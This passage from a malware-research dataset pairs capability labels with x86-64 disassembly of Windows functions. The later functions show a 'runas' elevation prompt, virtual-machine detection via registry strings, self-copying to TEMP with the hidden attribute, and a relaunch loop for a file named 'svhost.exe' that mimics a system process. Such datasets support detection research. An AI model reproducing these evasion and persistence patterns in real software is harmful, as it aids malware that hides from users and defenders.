joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e7500
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1400e751c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400e7570
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400e7695
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1400e7695
test rax, rax
je 0x1400e7695
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1400e7695
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1400e760a
lea rax, [0x1400e76f0]
jmp 0x1400e7663
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1400e7695
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400e7683
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1400e7630
lea rax, [0x1400e76c0]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1400e76aa
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1400e83f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1400e83fb
xor eax, eax
ret
lea r11, [0x14010f600]
not ecx
cmp r8d, 8
jb 0x1400e84d1
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1400e8420
test r8d, r8d
je 0x1400e84fd
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1400e84e0
not ecx
mov eax, ecx
ret
Function at 0x1400ed080
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ed0ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ed0ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ed0ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ed0ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ed0ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400ed0cc
xor al, al
add rsp, 0x28
ret

Function at 0x1400ed2c0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400ed2fa
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400ed2ff
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400ed348
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14010fde0]
cmp byte [rcx + rax], 0
je 0x1400ed348
dec r8
sub rdx, 1
jne 0x1400ed32e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400edb0c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.1400ed3d8
mov ebx, eax
test eax, eax
jne 0x1400edb3c
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x1400edb9f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400edb96
test al, 0x10
je 0x1400edb96
bt eax, 0xa
jae 0x1400edb8f
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.1400edbb0
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x1400edb8b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1400edb8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x1400edb96
and dword [rsp + 0x3c], 0
jmp 0x1400edb9b
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00406cd0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00406ce0]
mov dword [rax], 1
mov rax, qword [0x00406cf0]
mov dword [rax], 1
mov rax, qword [0x00406cc0]
mov dword [rax], 1
mov rax, qword [0x00406bb0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00406cb0]
mov dword [0x0040a00c], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00406c70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00406b60]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov byte [rbp - 6], 0
mov byte [rbp - 5], 0
mov byte [rbp - 4], 0
mov byte [rbp - 3], 0
mov byte [rbp - 2], 0
mov byte [rbp - 1], 5
mov dword [rbp - 0x14], 0
lea rax, [rbp - 6]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
je 0x401601
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x14]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 0x14]
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x40160a
Capabilities:
Create process on windows
Enumerate processes
Terminate process

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.runas
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
Function at 0x401677
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x40170e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x4016f7
mov dword [rbp + 0xdc], 1
jmp 0x40170e
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x4016cc
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret

Function at 0x401730
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1e0], rcx
lea rax, str.svhost.exe
mov qword [rbp + 0x1c8], rax
lea rax, [rbp + 0xc0]
mov r8d, 0x104
mov rdx, rax
lea rcx, str._TEMP_
mov rax, qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call rax
test eax, eax
jne 0x40178f
lea rcx, str.____.
call sym.puts
mov eax, 1
jmp 0x40184c
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
lea rcx, str.svhost.exe
mov qword [rsp + 0x20], rcx
mov r9, rdx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
mov rax, qword [dbg.sprintf_s]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
jne 0x4017ef
lea rdx, str.svhost.exe
lea rcx, str._s_not_found._Skipping_launch._n
call sym.printf
mov eax, 0
jmp 0x40184c
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.IsProcessRunning
test eax, eax
jne 0x401826
mov rax, qword [rbp + 0x1c8]
mov rdx, rax
lea rcx, str._s_not_running._Starting..._n
call sym.printf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.ExecuteCommand
jmp 0x40183c
mov rax, qword [rbp + 0x1c8]
mov rdx, rax
lea rcx, str._s_is_running._n
call sym.printf
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4017ef
add rsp, 0x250
pop rbp
ret
Function at 0x4018bf
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x80]
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x6f737365636f7250
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], 0x72
mov qword [rbp + 0xd8], 0
lea rdx, [rbp + 0xe0]
mov eax, 0
mov ecx, 0x1c
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xbc], 0x100
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x4019ad
mov rax, qword [rbp + 0xb0]
lea rdx, [rbp + 0xbc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.ProcessorNameString
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x6c65646f4d
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xbc], 0x100
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x401a68
mov rax, qword [rbp + 0xb0]
lea rdx, [rbp + 0xbc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.SystemProductName
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0xc0]
lea rdx, str.virt
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401aa0
lea rax, [rbp + 0xc0]
mov rdx, rax
lea rcx, str.Processor_name_contains_virt:__s_n
call sym.printf
mov eax, 1
jmp 0x401ae3
lea rax, [rbp - 0x50]
lea rdx, str.Virt
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401ad2
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.System_model_contains_virt:__s_n
call sym.printf
mov eax, 1
jmp 0x401ae3
lea rcx, str.No_virt_found_in_processor_name_or_system_model.
call sym.puts
mov eax, 0
add rsp, 0x248
pop rdi
pop rbp
ret
Function at 0x401b3f
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0xd8], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x401bc5
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Error_create_process_print._n
call sym.fwrite
mov eax, 0
jmp 0x401c42
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x401c29
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x401c12
mov eax, dword [rbp - 0x58]
cmp dword [rbp + 0xd8], eax
je 0x401c12
mov dword [rbp + 0xdc], 1
jmp 0x401c29
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x401bdc
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x401c4b
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Set file attributes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xd0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x401caa
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x16
mov edx, 1
lea rcx, str.Error:_cant_get_file._n
call sym.fwrite
jmp 0x401e95
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x401cf0
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Error:_cant_get_file_path._n
call sym.fwrite
jmp 0x401e95
lea rax, [rbp - 0x40]
lea rdx, [0x0040624b]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAppendA]
call rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xd0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x401d55
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x17
mov edx, 1
lea rcx, str.Error:_cant_copy_file._n
call sym.fwrite
jmp 0x401e95
lea rax, [rbp - 0x40]
mov rdx, rax
lea rcx, str.File_good_copied_in:__s_n
call sym.printf
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0xffffffffffffffff
je 0x401e6c
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0xffffffff
je 0x401e2f
or dword [rbp + 0x1d4], 2
mov edx, dword [rbp + 0x1d4]
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
test eax, eax
je 0x401e05
lea rcx, str.File_hidden_successfully.
call sym.puts
jmp 0x401e57
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Error:_failed_to_hide_file._n
call sym.fwrite
jmp 0x401e57
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x26
mov edx, 1
lea rcx, str.Error:_failed_to_get_file_attributes._n
call sym.fwrite
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401e95
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x33
mov edx, 1
lea rcx, str.Error:_failed_to_open_file_for_setting_attributes._n
call sym.fwrite
nop
add rsp, 0x260
pop rbp
ret
Function at 0x401e9e
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x340], rcx
lea rdx, [rbp + 0x2a0]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x2a0], 0x70
mov dword [rbp + 0x2a4], 0x40
lea rax, str.runas
mov qword [rbp + 0x2b0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x2b8], rax
lea rax, [rbp - 0x60]
mov r9, qword [rbp + 0x340]
lea r8, str._c__s
mov edx, 0x2f8
mov rcx, rax
mov rax, qword [dbg.sprintf_s]
call rax
test eax, eax
jns 0x401f35
lea rcx, str.Error:_Cannot_format_command_line.
call sym.puts
jmp 0x401fd4
lea rax, [rbp - 0x60]
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2d0], 0
lea rax, [rbp + 0x2a0]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
jne 0x401fa8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x31c], eax
cmp dword [rbp + 0x31c], 0x4c7
jne 0x401f8a
lea rcx, str.Error:_The_user_refused_to_allow_privileges_elevation.
call sym.puts
jmp 0x401fd4
mov eax, dword [rbp + 0x31c]
mov r8d, eax
mov rdx, qword [rbp + 0x340]
lea rcx, str.Error:_Failed_to_execute_command__s_with_elevated_privileges._Error_code:__ld_n
call sym.printf
jmp 0x401fd4
mov rax, qword [rbp + 0x308]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x3a8
pop rdi
pop rbp
ret
Function at 0x401fde
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rdx
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x646c697542
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x4021f4
mov rax, qword [rbp + 0x78]
mov dword [rbp + 0x3c], eax
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, [0x00406415]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
je 0x4020b2
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Unknown_OS
mov rcx, qword [rbp + 0x70]
call sym.strncpy
mov dword [rbp + 0x3c], pe_nt_image_headers64
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.CurrentBuildNumber
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x402105
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.CurrentBuildNumber:__s_n
call sym.printf
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x4c], eax
lea rdx, str.Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x40215e
cmp dword [rbp + 0x4c], 0x55ef
jg 0x40215e
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x40220d
cmp dword [rbp + 0x4c], 0x55ef
jle 0x402183
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_11
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x40220d
lea rdx, str.Windows_8.1
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
jne 0x4021ad
lea rdx, str.Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x4021c6
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x40220d
lea rdx, str.Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x40220d
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x40220d
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Access_Denied
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x40220d
nop
add rsp, 0xd8
pop rdi
pop rbp
ret
Function at 0x402559
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov edx, eax
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0x40000001
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x40259c
mov eax, 0
jmp 0x402601
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x4025bb
mov eax, 0
jmp 0x402601
mov rax, qword [rbp + 0x18]
mov ecx, eax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0x40000001
mov edx, ecx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x4025fd
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x402601
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret

Function at 0x402607
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x402629
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
test al, al
jne 0x402633
mov eax, 0
jmp 0x4026fa
